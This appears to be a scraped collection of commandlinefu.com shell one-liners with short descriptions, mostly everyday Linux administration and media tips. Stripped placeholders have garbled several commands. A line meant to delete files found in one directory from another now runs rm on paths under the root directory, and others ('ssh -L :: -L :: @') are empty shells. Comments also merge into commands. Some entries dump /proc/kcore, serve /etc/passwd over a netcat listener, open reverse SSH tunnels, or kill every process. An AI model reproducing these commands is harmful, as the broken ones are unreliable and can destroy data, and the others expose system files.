# Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}
# Find broken symlinks
find -L . -type l
# Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server
# Make sudo forget password instantly
sudo -K
# Running scripts after a reboot for non-root users .
@reboot
# Display BIOS Information
# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2)
with boxes')
# intersection between two files
grep -Fx -f file1 file2
# Mirror a directory structure from websites with an Apache-generated file index
eslftp -e "mirror -c" http://example.com/foobar/
# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed
y/!#/%%/;done|column -ts_'
# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl
"http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
# Make sure a script is run in a terminal.
[ -t 0 ] || exit 1
# Split a tarball into multiple parts
tar cf - |split -bM - .tar.
# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d
'[0-9]'`\e[0m";done;done
# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *
# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
# Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m
$r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
# Identify long lines in a file
awk 'length>72' file
# Ultimate current directory usage command
ncdu
# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url
# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"
# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
# pipe output of a command to your clipboard
some command|xsel --clipboard
# Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
# Purge configuration files of removed packages on debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
# Redirect STDIN
< /path/to/file.txt grep foo
# clear current line
CTRL+u
# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql
--database=dbname &
# Cut out a piece of film from a file. Choose an arbitrary length and starting t
ime.ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
# Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less
# List the files any process is using
lsof +p xxxx
# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# change directory to actual path instead of symlink path
cd `pwd -P`
# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
# Use last argument of last command
file !$
# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
# Get http headers for an url
curl -I www.commandlinefu.com
# List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
# Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
# Content search.
ff() { local IFS='|'; grep -rinE "$*" . ; }
# Protect directory from an overzealous rm -rf *
cd ; touch ./-i
# Blink LED Port of NIC Card
ethtool -p eth0
# run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete
# List open files that have no links to them on the filesystem
lsof +L1
# open path with your default program (on Linux/*BSD)
xdg-open [path]
# Copy an element from the previous command
!:1-3
# View user activity per directory.
sudo lsof -u someuser -a +D /etc
# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/
{print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo
$str | cut -c -$COLUMNS) ; echo $str; done; }
# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
# Change pidgin status
purple-remote "setstatus?status=away&message=AFK"
# Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo
"Took you $C tries, Einstein";
# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
# a trash function for bash
trash
# Remove executable bit from all files in the current directory recursively, exc
luding other directorieschmod -R -x+X *
# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi
/mnt/vdi-ntfs
# Use all the cores or CPUs when compiling
make -j 4
# Move all images in a directory into a directory hierarchy based on year, month
and day based on exif informationexiftool '-Directory/dev/null 2>&1 &
# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
# Schedule a download at a later time
echo 'wget url' | at 01:00
# Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more
# Run the Firefox Profile Manager
firefox -no-remote -P
# Delete the specified line
sed -i 8d ~/.ssh/known_hosts
# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3
# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1
# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
# Color man pages
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
# Query well known ports list
getent services <>
# Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
# What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }
# Save the list of all available commands in your box to a file
compgen -c | sort -u > commands
# monitor memory usage
watch vmstat -sSM
# Figure out what shell you're running
echo $0
# Compare copies of a file with md5
cmp file1 file2
# backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
# List 10 largest directories in current directory
du -hs */ | sort -hr | head
# Reuse last parameter
!$
# See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location:.* //p';}
# Stream YouTube URL directly to MPlayer
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
# run command on a group of nodes in parallel
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
# Print just line 4 from a textfile
sed -n '4{p;q}'
# Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
# Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
# Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
# Insert the last argument of the previous command
.
# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]'
| tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
# Change user, assume environment, stay in current dir
su -- user
# find all active IP addresses in a network
arp-scan -l
# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size
%{size_download}bytes\n" -o/dev/null -s $URL
# bash: hotkey to put current commandline to text-editor
bash-hotkey:
# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +
# List programs with open ports and connections
lsof -i
# Colored SVN diff
svn diff | vim -R -
# find files containing text
grep -lir "some text" *
# Share a 'screen'-session
screen -x
# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short
# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"
# Run any GUI program remotely
ssh -fX @
# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Pipe STDOUT to vim
tail -1000 /some/file | vim -
# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
# Quick glance at who's been using your system recently
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
# ping a range of IP addresses
nmap -sP 192.168.1.100-254
# Verify/edit bash history command before executing it
shopt -s histverify
# Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg
# Print without executing the last command that starts with...
!ssh:p
# Create .pdf from .doc
oowriter -pt pdf your_word_file.doc
# Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
c() printf "\33[2J"
# Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpe?g$/.jpg/i' *
# Random unsigned integer
echo $(openssl rand 4 | od -DAn)
# Get My Public IP Address
curl ifconfig.me
# translates acronyms for you
wtf is
# dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
# Disassemble some shell code
echo -ne "" | x86dis -e 0 -s intel
# ignore the .svn directory in filename completion
export FIGNORE=.svn
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \ | sed "s;^.*\(.*\).*$;\1;"
# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300
# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed
's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
# Vim: Switch from Horizontal split to Vertical split
^W-L
# Clean your broken terminal
stty sane
# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
# Save current layout of top
# Testing hard disk reading speed
hdparm -t /dev/sda
# Replace spaces in filenames with underscores
rename -v 's/ /_/g' *
# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/
# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)",
.*/\1/p')
# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
# Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt
# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
# Find last reboot time
who -b
# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
# Start screen in detached mode
screen -d -m []
# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
# Look up the definition of a word
curl dict://dict.org/d:something
# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q
# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
# Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# from within vi, pipe a chunk of lines to a command line and replace the chunk
with the result!}sort
# Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile
# Read the output of a command into the buffer in vim
:r !command
# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory
# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d
# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
# find process associated with a port
fuser [portnumber]/[proto]
# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
# cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
# Discovering all open files/dirs underneath a directory
lsof +D
# Substrings a variable
var='123456789'; echo ${var::}
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# RDP through SSH tunnel
ssh -f -L3389::3389 "sleep 10" && rdesktop -T'' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5
localhost
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
# ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
# Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
# the same as [Esc] in vim
Ctrl + [
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# prevent accidents and test your command with echo
echo rm *.txt
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# Print just line 4 from a textfile
sed -n '4p'
# Display BIOS Information
dmidecode -t bios
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# Show directories in the PATH, one per line
echo $PATH | tr \: \\n
# find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'
# Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
# Discovering all open files/dirs underneath a directory
lsof +D
# the same as [Esc] in vim
Ctrl + [
# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# RDP through SSH tunnel
ssh -f -L3389::3389 "sleep 10" && rdesktop -T'' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5
localhost
# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
# make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;
# Print just line 4 from a textfile
sed -n '4p'
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu
# Find broken symlinks
find . -type l ! -exec test -e {} \; -print
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
# Pick a random line from a file
shuf -n1 file.txt
# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null
# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg,
convert string ZZZZ to 1, 2, 3, ...):let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
# Grep colorized
grep -i --color=auto
# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# find and delete empty dirs, start in current working dir
find . -type d -empty -delete
# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE
# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done
# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
# prevent accidents and test your command with echo
echo rm *.txt
# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/ /g' {} \;
# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion
# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat
# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %
# Make a file not writable / immutable by root
sudo chattr +i
# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add
# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself i
f something breaks the connection temporarilyautossh -f -M 20000 -D 8000 somehost -N
# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*(.*)<\/code>/, d);print d[1]"\n"} '
# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
# kill all process that belongs to you
kill -9 -1
# View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts
# Do some learning...
ls /usr/bin | xargs whatis | grep -v nothing | less
# Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
# Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com
# wrap long lines of a text
fold -s -w 90 file.txt
# sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
# computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n
| head -n 30
# Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
# Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"
# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'
# Displays the attempted user name, ip address, and time of SSH failed logins on
Debian machinesawk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
# Create a bunch of dummy files for testing
touch {1..10}.txt
# Find the package a command belongs to on Debian
dpkg -S $( which ls )
# Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done
# Terminal redirection
script /dev/null | tee /dev/pts/3
# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
# Files extension change
rename .oldextension .newextension *.oldextension
# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
# Print info about your real user.
who loves mum
# A formatting test for David Winterbottom: improving commandlinefu for submitte
rsecho "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
# Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
# Multiple SSH Tunnels
ssh -L :: -L :: @
# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
# Add prefix onto filenames
rename 's/^/prefix/' *
# Create directory named after current date
mkdir $(date +%Y%m%d)
# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
# run a command whenever a file is touched
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
# Pause Current Thread
ctrl-z
# Resume a detached screen session, resizing to fit the current terminal
screen -raAd
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
# Watch several log files of different machines in a single multitail window on
your own machinemultitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
# Continue a current job in the background
bg
# renames multiple files that match the pattern
rename 's/foo/bar/g' *
# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5
# "Clone" a list of installed packages from one Debian/Ubuntu Server to another
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
# Find recursively, from current directory down, files and directories whose nam
es contain single or multiple whitespaces and replace each such occurrence with a single underscore.find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`
# runs a X session within your X session
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
# Nice info browser
pinfo
# Count files beneath current directory (including subfolders)
find . -type f | wc -l
# hard disk information - Model/serial no.
hdparm -i[I] /dev/sda
# Fetch every font from dafont.com to current folder
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s
"${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
# Delete DOS Characters via VIM (^M)
:set ff=unix
# Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
# Tail -f at your own pace
tail -fs 1 somefile
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm
# display an embeded help message from bash script header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
# pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
# Capitalize first letter of each word in a string
read -ra words <<< "" && echo "${words[@]^}"
# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))
# cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# Rename HTML files according to their title tag
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
# Launch a command from a manpage
!date
# command line calculator
calc(){ awk "BEGIN{ print $* }" ;}
# Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
# Create a 5 MB blank file via a seek hole
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
# Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
# Delete all files found in directory A from directory B
for file in /*; do rm /`basename $file`; done
# Compare a remote file with a local file
vimdiff scp://[@]/
# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
# Insert the last argument of the previous command
!$
# convert a web page into a png
